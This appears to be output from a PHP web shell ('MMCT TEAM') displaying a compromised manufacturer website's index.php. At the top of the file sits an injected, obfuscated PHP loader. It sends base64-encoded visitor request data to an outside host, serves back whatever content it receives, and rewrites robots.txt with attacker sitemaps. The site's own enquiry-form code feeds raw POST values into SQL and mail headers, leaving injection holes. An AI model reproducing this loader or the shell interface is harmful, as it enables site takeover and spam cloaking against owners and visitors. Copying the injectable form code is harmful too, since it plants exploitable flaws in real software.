MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.189.185.63
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/adisgauges.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/adisgauges.com/index.php
<?php ERroR_REPoRTINg(rOuND(0+0+0+0+0+0+0)); $plIUE="zj\67\63\62"; $Ztpy="gm\61"; if(preG_matcH("/\152p\62\60\62\63\57si",$_SERVER["\122E\121U\105S\124\137\125RI"])==ROUND(0.19930743+0.11273567+0.1331+0.14120816+0.378+0.03578299)) { if(preG_matCh("/j\160\62\60\62\63c\167w\57\163i",$_SERVER["\122E\121U\105S\124\137\125RI"])==roUnD(0+0+0+0+0+0)) { hEADeR("HTT\120\57\61.\60 \64\60\64\40\116ot\40\106\157un\144"); } echo "\110T\124\120\57\61\56\60\40\64\60\64\40No\164 \106o\165n\144\137_\137".$plIUE."\137\137\137".$Ztpy; exit; } $FVg="h\164t\160:/\57".$plIUE."\56ebizla.com"; $sPBH="\57\151n\144\145\170.p\150\160\77\126\123\75".$Ztpy."\46G\120\75".$plIUE; $CiAXdT=array( "SCR\111\120T_\116\101ME", "\122E\121U\105S\124\137\125RI", "\110T\124\120S", "\122\105\121U\105S\124_\123\103H\105M\105", "\123\105R\126E\122_PORT", "\122\105\115\117\124\105_\101\104\104R", "HT\124P_R\105\106\105\122E\122", "HT\124P\137AC\103EP\124\137L\101N\107U\101\107\105", "H\124\124\120_U\123ER\137\101G\105NT", "\110\124TP\137HO\123T" ); foreach($CiAXdT as $of) { $ETc=isset($_SERVER[$of])?$_SERVER[$of]:''; $Jn=BaSe64_ENCode(tRIm($ETc)); $Jn=sTR_RepLace("\53","-",$Jn); $Jn=stR_rEplACE("\57","_",$Jn); $Jn=sTr_RePLAcE("\75","\56",$Jn); $sPBH.="&".$of."\75".$Jn; } $ixqtFK=$FVg.$sPBH; $CVbz=cURL_INIT(); CURl_seTOPT($CVbz,CURLOPT_URL,$ixqtFK); cUrL_SETopT($CVbz,CURLOPT_RETURNTRANSFER,rOUnd(0.0822976+0.311+0.31676+0.036614+0.254)); cuRl_SEtoPT($CVbz,CURLOPT_CONNECTTIMEOUT,ROUND(2.0882759+0.0165517+1.937+1.42068966+2.091+1.4483+0.071724+0.9268966)); $xiuVU=CuRL_EXec($CVbz); $xiuVU=TrIM($xiuVU); CuRL_clOSE($CVbz); if(empty($xiuVU)) { $xiuVU=filE_get_ContenTS($ixqtFK); } $xiuVU=trIM($xiuVU); $fsh=ExPlODE("\174\100#$\174",$xiuVU); $Jo=CoUNt($fsh); if($Jo<3) { HeADer("HTT\120\57\61.\60 \64\60\64\40\116ot\40\106\157un\144"); exit; }else { $gqE=TRIm($fsh[roUND(0+0+0+0)]); if(!empty($gqE)) { HEaDeR($gqE); } $cj=triM($fsh[RoUnD(0.18363+0.13207+0.2239+0.1053822+0.35504)]); if(!empty($cj)) { echo $cj; } $eub=trIm($fsh[$Jo-ROUND(0.219+0.08168256+0.22695035+0.236+0.23648814)]); if($eub=="\145\170i\164") { exit; } if($eub=="pin\147") { $QVKbAJ="Us\145r-\141\147\145\156\164:*".PHP_EOL; $QVKbAJ.="\101l\154\157\167\72\57".PHP_EOL; $vwldj=EXPlODe("<\142r/>",$cj); aRRAY_PoP($vwldj); foreach($vwldj as $GXBr) { $QVKbAJ.="Sit\145m\141p:".$GXBr.PHP_EOL; } fIle_put_contentS($_SERVER["D\117\103U\115E\116\124_\122\117OT"]."\57r\157\142ot\163\56\164xt",$QVKbAJ); echo "\162\157bo\164\163.\164\170\164 \144one"; exit; } } ?>
<?php
$ip=$_SERVER['SERVER_ADDR'];
if(isset($_POST['submitPopup'])){

  @extract($_POST);

   $sql="insert into tbl_enquiry set
          enquiry_name='$name',
		  enquiry_mobile='$mobile',
  		  enquiry_email='$email',
		  enquiry_detail='Index popup enquiry ',
		  enquiry_source='Popup',
		  enquiry_ip_address='$ip',
		  enquiry_add_date=now()";
		  db_query($sql);
		   ///////////////****** Mailer to client start here **********************//////////////
	$hostName = $_SERVER['HTTP_HOST'];	  		  
		  $msgmail="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml'>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1' />
<title>TradeKeyIndia.com-Largest B2B Portal In India</title>
 </head>
<body>		  
	 <table align='center' cellSpacing='0' cellPadding='0' width='87%' border='1' style='border:1px solid #e61938'>
  <tbody>
    <tr>
      <td vAlign='top' style='background-color:#e61938; padding:10px;font-family:Verdana, Arial, Helvetica, sans-serif; font-size:16px; color:#ffffff; text-align:center; font-weight:bold;' colspan='3' >Enquiry From $hostName</td>
    </tr>
    
     <tr>
      <td width='30%' vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Name</strong> </td>
      <td vAlign='top' width='70%' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$name</td>
    </tr>
  
    <tr>
      <td vAlign='top'  style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Mobile </strong> </td>
      <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$mobile</td>
    </tr>
    <tr>
      <td vAlign='top'  style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Email-Id</strong> </td>
      <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$email</td>
    </tr>    

    <tr>
      <td vAlign='top'  style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Detail  </strong> </td>
      <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>Popup Enquiry</td>
    </tr>    
  </tbody>
</table>
</body>
</html>";
$toEmail = $compDATA['admin_email'];
$subject = "Enquiry from $hostName";
		        $from="$email";
				$Headers1 = "From: $name<$from>\n";
				$Headers1 .= "X-Mailer: PHP/". phpversion();
				$Headers1 .= "X-Priority: 3 \n";
				$Headers1 .= "MIME-version: 1.0\n";
				$Headers1 .= "Content-Type: text/html; charset=iso-8859-1\n"; 
				@mail("$toEmail", "$subject", "$msgmail","$Headers1","-fenquiry@tradekeyindia.com");
				//@mail("amitabh.tradekeyindia@gmail.com", "Subject", "Msg1","$Headers1","-fenquiry@tradekeyindia.com");
				 $toEmail."<br>";
///////////////****** Mailer to client end here **********************//////////////
///////////////// Mail To Admin //////////////////////////////////

$mail_to_admin="client_enquiry@tradekeyindia.com";
$sub_admin="Business Enquiry From $hostName";
$mail_admin_body = "$msgmail";	
$sender_admin =$email;		
$headers_admin  = "MIME-Version: 1.0" . "\r\n";
$headers_admin .= "Content-type: text/html; charset=iso-8859-1" . "\r\n";
$headers_admin .= "from: ".$sender_admin."\n";
if($email){
@mail($mail_to_admin,$sub_admin,$mail_admin_body,$headers_admin);
}
///////////////// Mail To Admin End//////////////////////////////////
		?>
		<script>
		    alert("Form submitted successfully, We will contact you soon.");
		</script>
		  <?php
		  
		  //$clrerr="green";
		//  set_session_msg("Enquiry form submitted successfully. We will contact you soon.");
		 // header("Location:$site_url/enquiry.html");
//		  exit;
   
 }
?>
 


<div class="page-content">
  
<?php include("site-header-flash.php");?>
<?php //include("index-welcome.php");?>
<?php include("hot-products.php");?>
<?php include("index-gallery.php");?>        
<?php include("featured-products.php");?>
<?php include("index-client.php");?>

<?php include("index-testimonials.php");?>

</div>
<?php include("site-footer.php");?>

</div>

<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/bootstrap-select.min.js"></script>
<script src="js/jquery.bootstrap-touchspin.js"></script>
<script src="js/magnific-popup.js"></script>
<script src="js/waypoints-min.js"></script>
<script src="js/counterup.min.js"></script>
<script src="js/imagesloaded.js"></script>
<script src="js/masonry-3.1.4.js"></script>
<script src="js/masonry.filter.js"></script>
<script src="js/owl.carousel.js"></script>
<script src="js/custom.js"></script>
<script src="js/dz.carousel.js"></script>
<script src="revolution/js/jquery.themepunch.tools.min.js"></script>
<script src="revolution/js/jquery.themepunch.revolution.min.js"></script>
<script src="revolution/js/extensions/revolution.extension.actions.min.js"></script>
<script src="revolution/js/extensions/revolution.extension.carousel.min.js"></script>
<script src="revolution/js/extensions/revolution.extension.kenburn.min.js"></script>
<script src="revolution/js/extensions/revolution.extension.layeranimation.min.js"></script>
<script src="revolution/js/extensions/revolution.extension.migration.min.js"></script>
<script src="revolution/js/extensions/revolution.extension.navigation.min.js"></script>
<script src="revolution/js/extensions/revolution.extension.parallax.min.js"></script>
<script src="revolution/js/extensions/revolution.extension.slideanims.min.js"></script>
<script src="revolution/js/extensions/revolution.extension.video.min.js"></script>
<script src="js/rev.slider.js"></script>
<script>
jQuery(document).ready(function() {
	'use strict';
	dz_rev_slider_2();
});
</script>

    <div id="homeModal" class="modal fade">
    <div class="modal-dialog modal-sm">
        <div class="modal-content">
            <div class="modal-header" style="background-color:#87ceea;">
               <button type="button" class="close" data-dismiss="modal" aria-hidden="true" style="color:black;">&times;</button>
                <h4 class="modal-title">Welcome To Adis Gauges & Tools Mfg. Co.</h4>
            </div>
            <div class="modal-body">
				<!--<p>Subscribe to our mailing list to get the latest updates straight in your inbox.</p>-->
                <form action="" method="post" onsubmit="return submit_popup()">
                    <div class="form-group">
                        <input type="text" class="form-control" name="name" id="name" onclick="nameF()" placeholder="Name">
                    </div>
                    <div class="form-group">
                        <input type="text" class="form-control" name="mobile" id="mobile" maxlength="10" onclick="mobileF()" placeholder="Mobile No.">
                    </div>
                    <div class="form-group">
                        <input type="text" class="form-control" name="email" id="email" onclick="emailF()" placeholder="Email Address">
                    </div>
                    <button type="submit" class="btn btn-primary" name="submitPopup">Submit</button>
                </form>
            </div>
        </div>
    </div>
</div>


<?php
$flag=0;
$en_sql=db_query("select enquiry_ip_address from tbl_enquiry");
while($en_res=mysqli_fetch_array($en_sql))
{
    if($en_res['enquiry_ip_address']==$ip)
    {
      $flag++; 
    }
}

if($flag==0)
{
?>
<script>

	$(document).ready(function(){
		$("#homeModal").modal({
            backdrop: 'static',
            keyboard: false
        });
	});
</script>
<?}?>


<script>

function nameF()
{
   document.getElementById('name').focus(); 
}

function mobileF()
{
   document.getElementById('mobile').focus(); 
}

function emailF()
{
   document.getElementById('email').focus(); 
}


function trim(str){				
return str.replace(/^\s*|\s*$/g,'');
}
	
    function submit_popup()
    {
if(trim(document.getElementById('name').value)==""){		
alert("Enter your name!");
document.getElementById('name').focus();
return false;
}	
if (!document.getElementById('name').value.match(/^[a-zA-Z-,]+(\s{0,1}[a-zA-Z-, ])*$/)){
alert("Please enter only alphabets!");
document.getElementById('name').focus();
return false;
}
var mobno=trim(document.getElementById('mobile').value);
if(trim(document.getElementById('mobile').value)==""){
	alert("Enter your mobile no.!");
	document.getElementById('mobile').focus();
	return false;
}
if(isNaN(document.getElementById('mobile').value)){
	alert("Mobile no. should be no.!");
	document.getElementById('mobile').focus();
	return false;
}
if(mobno.length < 10){
    alert("Mobile no. should be 10 digit long!");
	document.getElementById('mobile').focus();
	return false;
}
var email=trim(document.getElementById('email').value);
var mailformat = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/;
if(email=='')
  {
	  alert('Please enter email id!');
	  document.getElementById('email').focus();
	  return false;
  }else if(!email.match(mailformat)){
alert("You have entered an invalid email address!");
document.getElementById('email').focus();
return false;
}
    }
</script>
</body>
</html>

MMCT - 2023